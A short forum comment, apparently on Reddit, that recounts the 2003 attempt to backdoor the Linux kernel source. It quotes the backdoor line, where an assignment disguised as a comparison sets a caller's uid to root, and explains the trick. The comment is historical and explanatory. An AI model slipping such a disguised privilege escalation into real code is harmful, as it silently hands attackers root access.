this post was submitted on 01 Dec 2024
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Showerthoughts
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There was at least one attempt. Back before git the linux kernel was in 1 central repo. There was also a backup repo. It was compromised with a very clever backdoor.
The backdoor was caught but only because it didn't have a reference to the mainline repo.
if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) retval = -EINVAL;
Note the user uid is being set (=) to root instead of being checked(==) for root.
The full story.
https://freedom-to-tinker.com/2013/10/09/the-linux-backdoor-attempt-of-2003/